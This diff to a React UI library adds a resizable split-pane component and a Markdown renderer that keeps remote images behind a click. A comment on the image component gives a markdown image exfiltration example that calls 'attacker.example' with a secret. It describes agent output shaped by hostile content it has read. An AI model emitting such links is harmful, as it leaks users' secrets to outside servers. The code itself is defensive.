+ * only a CSS variable changes, so nothing renders per frame; `onResize` gets the start pane's size in px once, when
+ * the drag or the key press ends. `direction` horizontal puts the panes side by side, vertical one over the other.
+ */
+export function Split({ start, end, direction = "horizontal", defaultSize = 280, min = 120, max, onResize, label = "Resize panes", className, style, ...rest }) {
+  const id = useId();
+  const box = useRef(null);
+  const handle = useRef(null);
+  const drag = useRef(null);
+  const [size, setSize] = useState(defaultSize);
+  const vertical = direction === "vertical";
+
+  // The start pane can't be smaller than `min`, bigger than `max`, or leave the end pane less than `min`.
+  const limits = () => {
+    const rect = box.current?.getBoundingClientRect();
+    const total = rect ? (vertical ? rect.height : rect.width) : 0;
+    const room = total > 0 ? total - SPLIT_HANDLE - min : Infinity;
+    return [min, Math.max(min, Math.min(max ?? Infinity, room))];
+  };
+  const clamp = (value) => {
+    const [low, high] = limits();
+    return Math.round(Math.min(high, Math.max(low, value)));
+  };
+  const syncMax = () => {
+    const [, high] = limits();
+    if (Number.isFinite(high)) handle.current?.setAttribute("aria-valuemax", String(Math.round(high)));
+  };
+  // Dragging writes the DOM, not state: a render per pointer move would re-render the whole page.
+  const preview = (next) => {
+    box.current.style.setProperty("--w-split-size", `${next}px`);
+    handle.current.setAttribute("aria-valuenow", String(next));
+  };
+  const commit = (next) => {
+    setSize(next);
+    if (next !== size) onResize?.(next);
+  };
+  const endDrag = (e, keep) => {
+    if (!drag.current) return;
+    const { value } = drag.current;
+    drag.current = null;
+    handle.current.removeAttribute("data-dragging");
+    box.current.removeAttribute("data-dragging");
+    if (e.currentTarget.hasPointerCapture?.(e.pointerId)) e.currentTarget.releasePointerCapture(e.pointerId);
+    if (keep) commit(value);
+    else preview(size);
+  };
+  useLayoutEffect(syncMax);
+
+  const onPointerDown = (e) => {
+    if (e.button !== 0) return;
+    e.preventDefault();
+    e.currentTarget.setPointerCapture?.(e.pointerId);
+    syncMax();
+    drag.current = { from: vertical ? e.clientY : e.clientX, size, value: size };
+    handle.current.setAttribute("data-dragging", "");
+    box.current.setAttribute("data-dragging", "");
+  };
+  const onPointerMove = (e) => {
+    const d = drag.current;
+    if (!d) return;
+    d.value = clamp(d.size + (vertical ? e.clientY : e.clientX) - d.from);
+    preview(d.value);
+  };
+  const onKeyDown = (e) => {
+    const step = e.shiftKey ? SPLIT_STEP_LARGE : SPLIT_STEP;
+    const [low, high] = limits();
+    const [less, more] = vertical ? ["ArrowUp", "ArrowDown"] : ["ArrowLeft", "ArrowRight"];
+    const next = e.key === less ? size - step : e.key === more ? size + step : e.key === "Home" ? low : e.key === "End" ? high : null;
+    if (next === null || !Number.isFinite(next)) return;
+    e.preventDefault();
+    commit(clamp(next));
+  };
+
+  return h(
+    "div",
+    // The size is data, not a style: plugin-ui.css sizes the start pane from it.
+    { ...rest, ref: box, className: cx("w-split", className), style: { ...style, "--w-split-size": `${size}px` }, "data-direction": direction },
+    h("div", { id, className: "w-split-pane" }, start),
+    h("div", {
+      ref: handle,
+      className: "w-split-handle",
+      role: "separator",
+      tabIndex: 0,
+      "aria-label": label,
+      "aria-orientation": vertical ? "horizontal" : "vertical",
+      "aria-controls": id,
+      "aria-valuemin": min,
+      "aria-valuemax": max,
+      "aria-valuenow": size,
+      onPointerDown,
+      onPointerMove,
+      onPointerUp: (e) => endDrag(e, true),
+      onPointerCancel: (e) => endDrag(e, false),
+      onKeyDown,
+    }),
+    h("div", { className: "w-split-pane" }, end),
+  );
+}
+
 // ---------- figures ----------
 
 const levelTone = (percent, levels) => (!levels ? undefined : percent >= levels[1] ? "danger" : percent >= levels[0] ? "warn" : undefined);
@@ -581,3 +755,119 @@ export function Disclosure({ summary, open, defaultOpen, onOpenChange, children,
     h(BaseCollapsible.Panel, { className: "w-disclosure-panel" }, children),
   );
 }
+
+// ---------- markdown ----------
+
+const openLink = (e, href) => {
+  e.preventDefault();
+  // Needs `permissions.openUrl` in the manifest, like `["https://"]`.
+  wings.openUrl(href).catch(console.error);
+};
+
+/** Parsed inline spans by text, so a render doesn't parse every cell and paragraph again. */
+const inlines = new Map();
+function inlineOf(text) {
+  let parts = inlines.get(text);
+  if (!parts) {
+    parts = parseInline(text);
+    if (inlines.size >= 500) inlines.delete(inlines.keys().next().value);
+    inlines.set(text, parts);
+  }
+  return parts;
+}
+
+/**
+ * A remote image is a button until it's clicked: loading an image tells its server who looked and when, and the text
+ * may come from an agent that read something hostile (`![](https://attacker.example/?d=secret)`). A data: image
+ * carries its own bytes, so it shows at once.
+ */
+function MdImage({ src, alt }) {
+  const [loaded, setLoaded] = useState(false);
+  const img = (h("img", { className: "w-md-image", src, alt, loading: "lazy", decoding: "async", referrerPolicy: "no-referrer" }));
+  if (src.startsWith("data:") || loaded) return img;
+  const host = new URL(src).host;
+  return h("button", { type: "button", className: "w-md-image-load", title: alt || undefined, onClick: () => setLoaded(true) }, `Load image from ${host}`);
+}
+
+function MdInline({ text }) {
+  return inlineOf(text).map((part, i) => {
+    switch (part.kind) {
+      case "code":
+        return h("code", { key: i, className: "w-md-code" }, part.text);
+      case "strong":
+        return h("strong", { key: i }, part.text);
+      case "em":
+        return h("em", { key: i }, part.text);
+      case "del":
+        return h("del", { key: i }, part.text);
+      case "image":
+        return h(MdImage, { key: i, src: part.src, alt: part.alt });
+      case "link":
+        return h("a", { key: i, className: "w-md-link", href: part.href, onClick: (e) => openLink(e, part.href) }, part.text);
+      default:
+        return part.text;
+    }
+  });
+}
+
+/** Parsed blocks by source, so a page that renders many sections only parses the one that changed. */
+const parsed = new Map();
+function blocksOf(source) {
+  let blocks = parsed.get(source);
+  if (!blocks) {
+    blocks = parseBlocks(source);
+    if (parsed.size >= 200) parsed.delete(parsed.keys().next().value);
+    parsed.set(source, blocks);
+  }
+  return blocks;
+}
+
+/**
+ * Markdown as React elements. No HTML is ever parsed; links open through `wings.openUrl` and only when they are
+ * https; images show only from https or small data:image URLs, and an https image loads only when clicked. Re-renders only when `source` changes.
+ */
+export const Markdown = memo(function Markdown({ source, inline, className, ...rest }) {
+  if (inline) return h("span", { ...rest, className: cx("w-md", className) }, h(MdInline, { text: source }));
+  return h(
+    "div",
+    { ...rest, className: cx("w-md", className) },
+    blocksOf(source).map((b, i) => {
+      switch (b.kind) {
+        case "heading":
+          return h(`h${Math.min(b.level + 2, 6)}`, { key: i, className: "w-md-heading", "data-level": Math.min(b.level, 4) }, h(MdInline, { text: b.text }));
+        case "list":
+          return h(
+            b.ordered ? "ol" : "ul",
+            { key: i, className: "w-md-list", "data-ordered": b.ordered ? "" : undefined },
+            b.items.map((item, j) =>
+              h(
+                "li",
+                { key: j, "data-depth": item.depth || undefined, "data-task": item.checked === null ? undefined : "" },
+                item.checked === null ? null : h("input", { type: "checkbox", checked: item.checked, disabled: true, "aria-label": item.checked ? "Done" : "Not done", className: "w-md-check" }),
+                h(MdInline, { text: item.text }),
+              ),
+            ),
+          );
+        case "code":
+          return h("pre", { key: i, className: "w-md-pre" }, h("code", null, b.text));
+        case "quote":
+          return h("blockquote", { key: i, className: "w-md-quote" }, h(MdInline, { text: b.text }));
+        case "rule":
+          return h("hr", { key: i, className: "w-md-rule" });
+        case "table":
+          return h(
+            "div",
+            { key: i, className: "w-md-table-wrap" },
+            h(
+              "table",
+              { className: "w-md-table" },
+              h("thead", null, h("tr", null, b.head.map((c, j) => h("th", { key: j, scope: "col", "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c }))))),
+              h("tbody", null, b.rows.map((row, r) => h("tr", { key: r }, row.map((c, j) => h("td", { key: j, "data-align": b.align[j] ?? undefined }, h(MdInline, { text: c })))))),
+            ),
+          );
+        default:
+          return h("p", { key: i }, h(MdInline, { text: b.text }));
+      }
+    }),
+  );
+});